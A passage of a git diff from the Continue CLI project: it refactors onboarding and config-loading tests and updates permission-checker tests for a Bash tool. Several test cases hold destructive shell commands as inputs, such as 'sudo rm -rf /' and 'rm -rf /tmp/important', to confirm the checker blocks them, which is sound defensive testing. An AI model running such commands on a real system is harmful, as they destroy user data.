uriType: "slug", + fullSlug: { + ownerSlug: "owner", + packageSlug: "package", + versionSlug: "version", + }, + })); + + // Reset isStringRule mock + vi.mocked(isStringRule).mockImplementation((rule: string) => { + // Default implementation - string rules contain spaces/newlines or are local paths + return ( + rule.includes(" ") || + rule.includes("\n") || + rule.startsWith(".") || + rule.startsWith("/") || + !rule.includes("/") + ); + }); + }); + + it("should not duplicate rules when using --rule flag", () => { + // Setup mocks + vi.mocked(isStringRule).mockReturnValue(false); // "nate/spanish" is a package identifier // Simulate command-line options with --rule flag const options: BaseCommandOptions = { rule: ["nate/spanish"], }; - // Enhance config with command-line rules - const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options); + // Process the options through the config service + const { injected, additional } = + configService.getAdditionalBlocksFromOptions(options, undefined); - // Verify the rule was added exactly once as a RuleObject - expect(enhancedConfig.rules).toHaveLength(1); - expect(enhancedConfig.rules).toEqual([ - { name: "nate/spanish", rule: "Content for nate/spanish" }, - ]); + // The rule should be processed as a package identifier + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "nate/spanish", + ); + expect(injected).toHaveLength(1); + expect(additional.rules).toHaveLength(0); // Package identifier rules go into injected }); - it("should merge command-line rules with existing config rules", async () => { - const enhancer = new ConfigEnhancer(); - - // Initial config with existing rules - const initialConfig: AssistantUnrolled = { - name: "Test Assistant", - rules: ["existing-rule"], - } as any; + it("should merge command-line rules with existing config rules", () => { + // Setup mocks for different rule types + vi.mocked(isStringRule) + .mockReturnValueOnce(false) // "nate/spanish" is a package identifier + .mockReturnValueOnce(true); // "direct-rule" is a string rule // Simulate command-line options with --rule flag const options: BaseCommandOptions = { rule: ["nate/spanish", "direct-rule"], }; - // Enhance config with command-line rules - const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options); + // Process the options through the config service + const { injected, additional } = + configService.getAdditionalBlocksFromOptions(options, undefined); - // Verify all rules are present without duplication - expect(enhancedConfig.rules).toHaveLength(3); - expect(enhancedConfig.rules).toEqual([ - "existing-rule", - { name: "nate/spanish", rule: "Content for nate/spanish" }, - "direct-rule", - ]); + // "nate/spanish" should be a package identifier, "direct-rule" should be a string rule + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "nate/spanish", + ); + expect(injected).toHaveLength(1); // nate/spanish + expect(additional.rules).toEqual(["direct-rule"]); // direct-rule as string }); - it("should handle rule content with frontmatter", async () => { - const enhancer = new ConfigEnhancer(); - - // Mock processRule to return content with frontmatter - const { processRule } = await import("../hubLoader.js"); - (processRule as any).mockImplementation((rule: string) => { - if (rule === "nate/spanish") { - return Promise.resolve(`--- -alwaysApply: true ---- - -Always respond in Spanish.`); - } - return Promise.resolve(rule); - }); - - const initialConfig: AssistantUnrolled = { - name: "Test Assistant", - rules: [], - } as any; + it("should process package identifiers for hub rules", () => { + // Setup mock - all rules are package identifiers + vi.mocked(isStringRule).mockReturnValue(false); const options: BaseCommandOptions = { rule: ["nate/spanish"], }; - const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options); + const { injected, additional } = + configService.getAdditionalBlocksFromOptions(options, undefined); - // Hub rules should be stored as RuleObject with name and content - expect(enhancedConfig.rules).toHaveLength(1); - const ruleObj = enhancedConfig.rules?.[0] as any; - expect(ruleObj.name).toBe("nate/spanish"); - expect(ruleObj.rule).toContain("Always respond in Spanish."); - expect(ruleObj.rule).toContain("alwaysApply: true"); + // Hub rules should be processed as package identifiers, not string rules + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "nate/spanish", + ); + expect(injected).toHaveLength(1); + expect(additional.rules).toHaveLength(0); // Package identifier rules don't go into additional.rules }); }); diff --git a/extensions/cli/src/loadMcpFromHub.test.ts b/extensions/cli/src/loadMcpFromHub.test.ts index 92dd69cf8..cbd49a53a 100644 --- a/extensions/cli/src/loadMcpFromHub.test.ts +++ b/extensions/cli/src/loadMcpFromHub.test.ts @@ -1,6 +1,6 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { loadMcpFromHub } from "./args.js"; +import { loadMcpFromHub } from "./hubLoader.js"; // Store original fetch to restore later const originalFetch = global.fetch; diff --git a/extensions/cli/src/mcp-flag.integration.test.ts b/extensions/cli/src/mcp-flag.integration.test.ts index a040c45b4..863e1ea32 100644 --- a/extensions/cli/src/mcp-flag.integration.test.ts +++ b/extensions/cli/src/mcp-flag.integration.test.ts @@ -1,6 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import { parseArgs, loadMcpFromHub } from "./args.js"; +import { loadMcpFromHub } from "./hubLoader.js"; // Integration test to demonstrate the --mcp flag functionality describe("--mcp flag integration", () => { @@ -10,35 +10,6 @@ describe("--mcp flag integration", () => { vi.clearAllMocks(); }); - it("should demonstrate the complete --mcp flag functionality", () => { - // Test command line parsing - process.argv = [ - "node", - "test", - "--config", - "my-config.yaml", - "--mcp", - "continuedev/filesystem", - "--mcp", - "continuedev/github", - "hello world", - ]; - - const args = parseArgs(); - - // Verify the parsed command line arguments - expect(args).toEqual({ - configPath: "my-config.yaml", - mcps: ["continuedev/filesystem", "continuedev/github"], - prompt: "hello world", - }); - - // Verify MCP slugs are properly captured - expect(args.mcps).toHaveLength(2); - expect(args.mcps).toContain("continuedev/filesystem"); - expect(args.mcps).toContain("continuedev/github"); - }); - it("should validate MCP slug format", async () => { // Test that invalid slug formats are rejected await expect(loadMcpFromHub("invalid-slug")).rejects.toThrow( @@ -58,35 +29,4 @@ describe("--mcp flag integration", () => { 'Failed to load mcp from hub "valid/slug": HTTP 404: Not Found', ); }); - - it("should demonstrate MCP flag with other command line options", () => { - process.argv = [ - "node", - "test", - "--config", - "test-config.yaml", - "--org", - "my-org", - "--rule", - "my-rule", - "--mcp", - "continuedev/filesystem", - "--allow", - "readFile", - "--readonly", - "analyze this code", - ]; - - const args = parseArgs(); - - // Verify all flags are parsed correctly together - expect(args).toEqual({ - configPath: "test-config.yaml", - organizationSlug: "my-org", - rules: ["my-rule"], - mcps: ["continuedev/filesystem"], - readonly: true, - prompt: "analyze this code", - }); - }); }); diff --git a/extensions/cli/src/onboarding.test.ts b/extensions/cli/src/onboarding.test.ts index c31bc1608..036d56097 100644 --- a/extensions/cli/src/onboarding.test.ts +++ b/extensions/cli/src/onboarding.test.ts @@ -2,10 +2,10 @@ import * as fs from "fs"; import * as os from "os"; import * as path from "path"; -import { describe, expect, test, beforeEach, afterEach } from "vitest"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; import type { AuthConfig } from "./auth/workos.js"; -import { runNormalFlow } from "./onboarding.js"; +import { initializeWithOnboarding } from "./onboarding.js"; describe("onboarding config flag handling", () => { let tempDir: string; @@ -40,7 +40,9 @@ describe("onboarding config flag handling", () => { expect(fs.existsSync(configPath)).toBe(false); // Should throw an error that mentions both the path and the failure - await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow( + await expect( + initializeWithOnboarding(mockAuthConfig, configPath), + ).rejects.toThrow( /Failed to load config from ".*non-existent\.yaml": .*ENOENT/, ); }); @@ -64,9 +66,9 @@ models: expect(fs.existsSync(configPath)).toBe(true); // Should throw an error mentioning the path and failure to load - await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow( - /Failed to load config from ".*malformed\.yaml": .+/, - ); + await expect( + initializeWithOnboarding(mockAuthConfig, configPath), + ).rejects.toThrow(/Failed to load config from ".*malformed\.yaml": .+/); }); test("should fail loudly when --config points to file with missing required fields", async () => { @@ -85,9 +87,9 @@ name: "Incomplete Config" expect(fs.existsSync(configPath)).toBe(true); // Should throw with our specific error format and include path - await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow( - /^Failed to load config from ".*": .+/, - ); + await expect( + initializeWithOnboarding(mockAuthConfig, configPath), + ).rejects.toThrow(/^Failed to load config from ".*": .+/); }); test("should handle different config path formats with proper error messages", async () => { @@ -99,16 +101,15 @@ name: "Incomplete Config" ]; for (const configPath of testPaths) { - await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow( - /Failed to load config from ".*": .+/, - ); + await expect( + initializeWithOnboarding(mockAuthConfig, configPath), + ).rejects.toThrow(/Failed to load config from ".*": .+/); } }); test("should handle empty string config path", async () => { - // Empty string should be treated differently from undefined - // Note: empty string triggers onboarding flow, but should still fail in our error format - await expect(runNormalFlow(mockAuthConfig, "")).rejects.toThrow(); + // Loads default agent with no error + await initializeWithOnboarding(mockAuthConfig, ""); }); test("should not fall back to default config when explicit config fails", async () => { @@ -117,7 +118,7 @@ name: "Incomplete Config" // Create a bad config file fs.writeFileSync(configPath, "invalid: yaml: content: ["); - const promise = runNormalFlow(mockAuthConfig, configPath); + const promise = initializeWithOnboarding(mockAuthConfig, configPath); await expect(promise).rejects.toThrow(); @@ -144,13 +145,13 @@ name: "Incomplete Config" fs.writeFileSync(badConfigPath, "invalid yaml ["); // Case 1: Explicit --config that fails should throw our specific error - await expect(runNormalFlow(mockAuthConfig, badConfigPath)).rejects.toThrow( - /^Failed to load config from "/, - ); + await expect( + initializeWithOnboarding(mockAuthConfig, badConfigPath), + ).rejects.toThrow(/^Failed to load config from "/); // Case 2: No explicit config should follow different logic try { - await runNormalFlow(mockAuthConfig, undefined); + await initializeWithOnboarding(mockAuthConfig, undefined); // If it succeeds, that's fine - the point is it's different behavior } catch (error) { const errorMessage = @@ -160,3 +161,93 @@ name: "Incomplete Config" } }); }); + +// Separate describe block with its own mocking for BEDROCK tests +describe("CONTINUE_USE_BEDROCK environment variable", () => { + const mockConsoleLog = vi.fn(); + let mockAuthConfig: AuthConfig; + const originalEnv = process.env.CONTINUE_USE_BEDROCK; + + // Mock initialize for these tests only + const mockInitialize = vi.fn().mockResolvedValue({ + config: { name: "test-config", models: [], rules: [] }, + llmApi: {}, + model: { name: "test-model" }, + mcpService: {}, + apiClient: {}, + }); + + beforeEach(() => { + mockConsoleLog.mockClear(); + mockInitialize.mockClear(); + + // Spy on console.log for these tests + vi.spyOn(console, "log").mockImplementation(mockConsoleLog); + + // Mock the config module + vi.doMock("./config.js", () => ({ initialize: mockInitialize })); + + mockAuthConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + }; + }); + + afterEach(() => { + if (originalEnv) { + process.env.CONTINUE_USE_BEDROCK = originalEnv; + } else { + delete process.env.CONTINUE_USE_BEDROCK; + } + vi.restoreAllMocks(); + vi.doUnmock("./config.js"); + }); + + test("should bypass interactive options when CONTINUE_USE_BEDROCK=1", async () => { + process.env.CONTINUE_USE_BEDROCK = "1"; + + // Re-import to get the mocked version + vi.resetModules(); + const { runOnboardingFlow } = await import("./onboarding.js"); + + const result = await runOnboardingFlow(undefined); + + expect(result).toBe(true); + expect(mockConsoleLog).toHaveBeenCalledWith( + expect.stringContaining( + "✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)", + ), + ); + }); + + test("should not bypass when CONTINUE_USE_BEDROCK is not '1'", async () => { + process.env.CONTINUE_USE_BEDROCK = "0"; + + // Re-import to get the mocked version + vi.resetModules(); + const { runOnboardingFlow } = await import("./onboarding.js"); + + // Mock non-interactive environment to avoid hanging + const originalIsTTY = process.stdin.isTTY; + process.stdin.isTTY = false; + + try { + await runOnboardingFlow(undefined); + + // Verify the Bedrock message was NOT called by checking all calls + const allCalls = mockConsoleLog.mock.calls.flat(); + const hasBedrockMessage = allCalls.some((call) => + String(call).includes( + "✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)", + ), + ); + expect(hasBedrockMessage).toBe(false); + } finally { + process.stdin.isTTY = originalIsTTY; + } + }); +}); diff --git a/extensions/cli/src/onboarding.ts b/extensions/cli/src/onboarding.ts index 6d8e2b99f..2a8162284 100644 --- a/extensions/cli/src/onboarding.ts +++ b/extensions/cli/src/onboarding.ts @@ -1,34 +1,22 @@ import * as fs from "fs"; import * as path from "path"; -import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; -import { BaseLlmApi } from "@continuedev/openai-adapters"; -import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; import chalk from "chalk"; -import * as readlineSync from "readline-sync"; +import { setConfigFilePermissions } from "core/util/paths.js"; -import { processPromptOrRule } from "./args.js"; -import { AuthConfig, isAuthenticated, login } from "./auth/workos.js"; -import { initialize } from "./config.js"; +import { AuthConfig, login } from "./auth/workos.js"; +import { getApiClient } from "./config.js"; +import { loadConfiguration } from "./configLoader.js"; import { env } from "./env.js"; -import { MCPService } from "./services/MCPService.js"; import { getApiKeyValidationError, isValidAnthropicApiKey, } from "./util/apiKeyValidation.js"; +import { question, questionWithChoices } from "./util/prompt.js"; import { updateAnthropicModelInYaml } from "./util/yamlConfigUpdater.js"; const CONFIG_PATH = path.join(env.continueHome, "config.yaml"); -export interface OnboardingResult { - config: AssistantUnrolled; - llmApi: BaseLlmApi; - model: ModelConfig; - mcpService: MCPService; - apiClient: DefaultApiInterface; - wasOnboarded: boolean; -} - export async function checkHasAcceptableModel( configPath: string, ): Promise { @@ -57,19 +45,26 @@ export async function createOrUpdateConfig(apiKey: string): Promise { const updatedContent = updateAnthropicModelInYaml(existingContent, apiKey); fs.writeFileSync(CONFIG_PATH, updatedContent); + setConfigFilePermissions(CONFIG_PATH); } -async function runOnboardingFlow( +export async function runOnboardingFlow( configPath: string | undefined, - authConfig: AuthConfig, -): Promise { +): Promise { // Step 1: Check if --config flag is provided if (configPath !== undefined) { - const result = await initialize(authConfig, configPath); - return { ...result, wasOnboarded: false }; + return false; } - // Step 2: Check if we're in a test/CI environment - if so, skip interactive prompts + // Step 2: Check for CONTINUE_USE_BEDROCK environment variable first (before test env check) + if (process.env.CONTINUE_USE_BEDROCK === "1") { + console.log( + chalk.blue("✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)"), + ); + return true; + } + + // Step 3: Check if we're in a test/CI environment - if so, skip interactive prompts const isTestEnv = process.env.NODE_ENV === "test" || process.env.CI === "true" || @@ -83,39 +78,31 @@ async function runOnboardingFlow( console.log(chalk.blue("✓ Using ANTHROPIC_API_KEY from environment")); await createOrUpdateConfig(process.env.ANTHROPIC_API_KEY); console.log(chalk.gray(` Config saved to: ${CONFIG_PATH}`)); - const result = await initialize(authConfig, CONFIG_PATH); - return { ...result, wasOnboarded: false }; + return false; } // Otherwise return a minimal working configuration - const result = await initialize(authConfig, undefined); - return { ...result, wasOnboarded: false }; + return false; } - // Step 3: Present user with two options + // Step 4: Present user with two options console.log(chalk.yellow("How do you want to get started?")); console.log(chalk.white("1. ⏩ Log in with Continue")); console.log(chalk.white("2. 🔑 Enter your Anthropic API key")); - const choice = readlineSync.question(chalk.yellow("\nEnter choice (1): "), { - limit: ["1", "2", ""], - limitMessage: chalk.dim("Please enter 1 or 2"), - }); + const choice = await questionWithChoices( + chalk.yellow("\nEnter choice (1): "), + ["1", "2", ""], + "1", + chalk.dim("Please enter 1 or 2"), + ); if (choice === "1" || choice === "") { - const newAuthConfig = await login(); - - const { ensureOrganization } = await import("./auth/workos.js"); - const finalAuthConfig = await ensureOrganization(newAuthConfig); - - const result = await initialize(finalAuthConfig, undefined); - return { ...result, wasOnboarded: true }; + await login(); + return true; } else if (choice === "2") { - const apiKey = readlineSync.question( + const apiKey = await question( chalk.white("\nEnter your Anthropic API key: "), - { - hideEchoBack: true, - }, ); if (!isValidAnthropicApiKey(apiKey)) { @@ -127,89 +114,12 @@ async function runOnboardingFlow( chalk.green(`✓ Config file updated successfully at ${CONFIG_PATH}`), ); - const result = await initialize(authConfig, CONFIG_PATH); - return { ...result, wasOnboarded: true }; + return true; } else { - throw new Error("Invalid choice. Please select 1 or 2."); + throw new Error(`Invalid choice. Please select "1" or "2"`); } } -export async function runNormalFlow( - authConfig: AuthConfig, - configPath?: string, - rules?: string[], -): Promise { - // Step 1: Check if --config flag is provided - if (configPath !== undefined) { - // Empty string is invalid and should be treated as an error - if (configPath === "") { - throw new Error( - `Failed to load config from "": Config path cannot be empty`, - ); - } - - try { - const result = await initialize(authConfig, configPath); - // Inject rules into the config if provided - if (rules && rules.length > 0) { - result.config = await injectRulesIntoConfig(result.config, rules); - } - return { ...result, wasOnboarded: false }; - } catch (error) { - // If user explicitly provided --config flag, fail loudly instead of falling back - const errorMessage = - error instanceof Error ? error.message : String(error); - throw new Error( - `Failed to load config from "${configPath}": ${errorMessage}`, - ); - } - } - - // Step 2: If user is logged in, look for first assistant in selected org - if (isAuthenticated()) { - try { - const result = await initialize(authConfig, undefined); - // Inject rules into the config if provided - if (rules && rules.length > 0) { - result.config = await injectRulesIntoConfig(result.config, rules); - } - return { ...result, wasOnboarded: false }; - } catch { - // Silently ignore errors when loading default assistant - } - } - - // Step 3: Look for local ~/.continue/config.yaml - if (fs.existsSync(CONFIG_PATH)) { - try { - const result = await initialize(authConfig, CONFIG_PATH); - // Inject rules into the config if provided - if (rules && rules.length > 0) { - result.config = await injectRulesIntoConfig(result.config, rules); - } - return { ...result, wasOnboarded: false }; - } catch { - console.log(chalk.yellow("⚠ Invalid config file found")); - } - } - - // Step 4: Look for ANTHROPIC_API_KEY in environment - if (process.env.ANTHROPIC_API_KEY) { - console.log(chalk.blue("✓ Using ANTHROPIC_API_KEY from environment")); - await createOrUpdateConfig(process.env.ANTHROPIC_API_KEY); - console.log(chalk.gray(` Config saved to: ${CONFIG_PATH}`)); - const result = await initialize(authConfig, CONFIG_PATH); - // Inject rules into the config if provided - if (rules && rules.length > 0) { - result.config = await injectRulesIntoConfig(result.config, rules); - } - return { ...result, wasOnboarded: false }; - } - - // Step 5: Fall back to onboarding flow - return runOnboardingFlow(configPath, authConfig); -} - export async function isFirstTime(): Promise { return !fs.existsSync(path.join(env.continueHome, ".onboarding_complete")); } @@ -225,71 +135,33 @@ export async function markOnboardingComplete(): Promise { fs.writeFileSync(flagPath, new Date().toISOString()); } -/** - * Process rules and inject them into the assistant config - * @param config - The assistant config to modify - * @param rules - Array of rule specifications to process and inject - * @returns The modified config with injected rules - */ -async function injectRulesIntoConfig( - config: AssistantUnrolled, - rules: string[], -): Promise { - if (!rules || rules.length === 0) { - return config; - } +export async function initializeWithOnboarding( + authConfig: AuthConfig, + configPath: string | undefined, +) { + const firstTime = await isFirstTime(); - const processedRules: string[] = []; - for (const ruleSpec of rules) { + if (configPath !== undefined) { + // throw an early error is configPath is invalid or has errors try { - const processedRule = await processPromptOrRule(ruleSpec); - processedRules.push(processedRule); - } catch (error: any) { - console.warn( - chalk.yellow( - `Warning: Failed to process rule "${ruleSpec}": ${error.message}`, - ), + await loadConfiguration( + authConfig, + configPath, + getApiClient(authConfig?.accessToken), + [], + false, + ); + } catch (errorMessage) { + throw new Error( + `Failed to load config from "${configPath}": ${errorMessage}`, ); } } - if (processedRules.length === 0) { - return config; + if (!firstTime) return; + + const wasOnboarded = await runOnboardingFlow(configPath); + if (wasOnboarded) { + await markOnboardingComplete(); } - - // Clone the config to avoid mutating the original - const modifiedConfig = { ...config }; - - // Add processed rules to the config's rules array - // Each processed rule is a string, which is a valid Rule type - const existingRules = modifiedConfig.rules || []; - modifiedConfig.rules = [...existingRules, ...processedRules]; - - return modifiedConfig; -} - -export async function initializeWithOnboarding( - authConfig: AuthConfig, - configPath: string | undefined, - rules?: string[], -): Promise { - const firstTime = await isFirstTime(); - - let result: OnboardingResult; - - if (firstTime) { - result = await runOnboardingFlow(configPath, authConfig); - if (result.wasOnboarded) { - await markOnboardingComplete(); - } - } else { - result = await runNormalFlow(authConfig, configPath, rules); - } - - // Inject rules into the config if provided (for onboarding flow which doesn't handle rules directly) - if (rules && rules.length > 0 && !result.wasOnboarded) { - result.config = await injectRulesIntoConfig(result.config, rules); - } - - return result; } diff --git a/extensions/cli/src/permissions/README.md b/extensions/cli/src/permissions/README.md index 56846da52..3251b4ce5 100644 --- a/extensions/cli/src/permissions/README.md +++ b/extensions/cli/src/permissions/README.md @@ -47,7 +47,7 @@ Tools with "allow" permission are executed immediately without user intervention ### Data Flow -1. **Tool Loading**: `getAllTools()` in `streamChatResponse.ts` filters out excluded tools +1. **Tool Loading**: `getAllowedTools()` in `streamChatResponse.ts` filters out excluded tools 2. **Tool Execution**: Before executing each tool call, permissions are checked 3. **User Interaction**: For "ask" policies, UI displays permission request 4. **Execution**: Tool is executed or denied based on permission result @@ -82,11 +82,4 @@ const result = checkToolPermission({ if (result.permission === "ask") { // Request user permission } - -// Filter excluded tools -const allowedTools = filterExcludedTools([ - "readFile", - "dangerousTool", - "writeFile", -]); ``` diff --git a/extensions/cli/src/permissions/index.ts b/extensions/cli/src/permissions/index.ts index 7e5fca074..dbb352f90 100644 --- a/extensions/cli/src/permissions/index.ts +++ b/extensions/cli/src/permissions/index.ts @@ -9,7 +9,6 @@ export type { export { DEFAULT_TOOL_POLICIES } from "./defaultPolicies.js"; export { checkToolPermission, - filterExcludedTools, matchesArguments, matchesToolPattern, } from "./permissionChecker.js"; diff --git a/extensions/cli/src/permissions/permissionChecker.test.ts b/extensions/cli/src/permissions/permissionChecker.test.ts index b28034b40..e21b80f02 100644 --- a/extensions/cli/src/permissions/permissionChecker.test.ts +++ b/extensions/cli/src/permissions/permissionChecker.test.ts @@ -1,15 +1,35 @@ -import { vi, describe, it, expect, beforeEach, afterEach } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; -import * as toolsModule from "../tools/index.js"; +import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js"; import { checkToolPermission, - filterExcludedTools, matchesArguments, matchesToolPattern, } from "./permissionChecker.js"; import { ToolPermissions } from "./types.js"; +// Create a mock function for evaluateToolCallPolicy +const mockEvaluateToolCallPolicy = vi.fn(); + +// Create a mock Bash tool +const mockBashTool = { + name: "Bash", + displayName: "Bash", + description: "Execute bash commands", + parameters: { + type: "object" as const, + properties: {}, + }, + isBuiltIn: true, + evaluateToolCallPolicy: mockEvaluateToolCallPolicy, + run: vi.fn(), +}; + +// Replace the array contents with our mock tool +ALL_BUILT_IN_TOOLS.length = 0; +ALL_BUILT_IN_TOOLS.push(mockBashTool as any); + describe("Permission Checker", () => { describe("matchesToolPattern", () => { it("should match exact tool names", () => { @@ -448,16 +468,6 @@ describe("Permission Checker", () => { expect(normalResult.permission).toBe("allow"); }); - it("should use default policies when no custom permissions provided", () => { - const result = checkToolPermission({ - name: "Read", - arguments: { path: "/test.txt" }, - }); - - // Should match the default policies (Read should be "allow") - expect(result.permission).toBe("allow"); - }); - it("should fall back to ask when no policy matches", () => { const permissions: ToolPermissions = { policies: [{ tool: "specificTool", permission: "allow" }], @@ -556,73 +566,10 @@ describe("Permission Checker", () => { }); }); - describe("filterExcludedTools", () => { - it("should filter out excluded tools", () => { - const permissions: ToolPermissions = { - policies: [ - { tool: "runTerminalCommand", permission: "exclude" }, - { tool: "writeFile", permission: "ask" }, - { tool: "*", permission: "allow" }, - ], - }; - - const tools = [ - "readFile", - "writeFile", - "runTerminalCommand", - "searchCode", - ]; - const filtered = filterExcludedTools(tools, permissions); - - expect(filtered).toEqual(["readFile", "writeFile", "searchCode"]); - expect(filtered).not.toContain("runTerminalCommand"); - }); - - it("should return all tools when none are excluded", () => { - const permissions: ToolPermissions = { - policies: [{ tool: "*", permission: "allow" }], - }; - - const tools = ["readFile", "writeFile", "runTerminalCommand"]; - const filtered = filterExcludedTools(tools, permissions); - - expect(filtered).toEqual(tools); - }); - - it("should use default policies when no permissions provided", () => { - const tools = ["readFile", "writeFile", "runTerminalCommand"]; - const filtered = filterExcludedTools(tools); - - // All tools should be included (none excluded by default) - expect(filtered).toEqual(tools); - }); - }); - describe("Hybrid Permission Model with Dynamic Evaluation", () => { - // Mock the runTerminalCommand tool with evaluateToolCallPolicy - const mockBashTool = { - name: "Bash", - displayName: "Bash", - description: "Execute bash commands", - parameters: {}, - isBuiltIn: true, - evaluateToolCallPolicy: vi.fn(), - run: vi.fn(), - }; - beforeEach(() => { - vi.clearAllMocks(); - // Mock getAllBuiltinTools to return our test tool - vi.spyOn(toolsModule, "getAllBuiltinTools").mockReturnValue([ - mockBashTool, - ]); - // Reset mock between tests - mockBashTool.evaluateToolCallPolicy.mockClear(); - }); - - afterEach(() => { - vi.restoreAllMocks(); + mockEvaluateToolCallPolicy.mockClear(); }); describe("User has Bash in 'allow' mode", () => { @@ -634,9 +581,7 @@ describe("Permission Checker", () => { }; it("should allow safe commands (echo hello)", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithoutPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission"); const result = checkToolPermission( { name: "Bash", arguments: { command: "echo hello" } }, @@ -644,16 +589,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("allow"); // User preference wins - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithoutPermission", // converted from "allow" { command: "echo hello" }, ); }); it("should allow risky commands based on user preference (curl)", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission"); const result = checkToolPermission( { name: "Bash", arguments: { command: "curl https://example.com" } }, @@ -661,14 +604,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("allow"); // User preference wins over "ask" - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithoutPermission", // converted from "allow" { command: "curl https://example.com" }, ); }); it("should block dangerous commands despite user preference (eval)", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled"); + mockEvaluateToolCallPolicy.mockReturnValue("disabled"); const result = checkToolPermission( { name: "Bash", arguments: { command: "eval 'echo safe'" } }, @@ -676,14 +619,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("exclude"); // Security wins - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithoutPermission", // converted from "allow" { command: "eval 'echo safe'" }, ); }); it("should block sudo commands despite user preference", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled"); + mockEvaluateToolCallPolicy.mockReturnValue("disabled"); const result = checkToolPermission( { name: "Bash", arguments: { command: "sudo rm -rf /" } }, @@ -703,9 +646,7 @@ describe("Permission Checker", () => { }; it("should ask for safe commands based on user preference (echo)", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithoutPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission"); const result = checkToolPermission( { name: "Bash", arguments: { command: "echo hello" } }, @@ -713,16 +654,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("ask"); // User preference wins - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithPermission", // converted from "ask" { command: "echo hello" }, ); }); it("should ask for risky commands (curl)", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission"); const result = checkToolPermission( { name: "Bash", arguments: { command: "curl https://example.com" } }, @@ -730,14 +669,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("ask"); // Both agree on "ask" - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithPermission", // converted from "ask" { command: "curl https://example.com" }, ); }); it("should block dangerous commands (eval)", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled"); + mockEvaluateToolCallPolicy.mockReturnValue("disabled"); const result = checkToolPermission( { name: "Bash", arguments: { command: "eval 'echo safe'" } }, @@ -745,14 +684,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("exclude"); // Security wins - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithPermission", // converted from "ask" { command: "eval 'echo safe'" }, ); }); it("should block rm -rf commands", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue("disabled"); + mockEvaluateToolCallPolicy.mockReturnValue("disabled"); const result = checkToolPermission( { name: "Bash", arguments: { command: "rm -rf /tmp/important" } }, @@ -770,9 +709,7 @@ describe("Permission Checker", () => { it("should always exclude regardless of dynamic evaluation", () => { // Even if dynamic evaluation would allow it - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithoutPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission"); const result = checkToolPermission( { name: "Bash", arguments: { command: "echo hello" } }, @@ -780,7 +717,7 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("exclude"); // User excluded the tool entirely - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "disabled", // converted from "exclude" { command: "echo hello" }, ); @@ -863,7 +800,7 @@ describe("Permission Checker", () => { testCases.forEach(({ command, dynamicResult, expected }) => { it(`should handle '${command}' correctly`, () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue(dynamicResult); + mockEvaluateToolCallPolicy.mockReturnValue(dynamicResult); const result = checkToolPermission( { name: "Bash", arguments: { command } }, @@ -877,21 +814,6 @@ describe("Permission Checker", () => { describe("Edge cases", () => { it("should handle tools without dynamic evaluation", () => { - // Mock a Read tool without evaluateToolCallPolicy - const mockReadTool = { - name: "Read", - displayName: "Read", - description: "Read files", - parameters: {}, - isBuiltIn: true, - run: vi.fn(), - // No 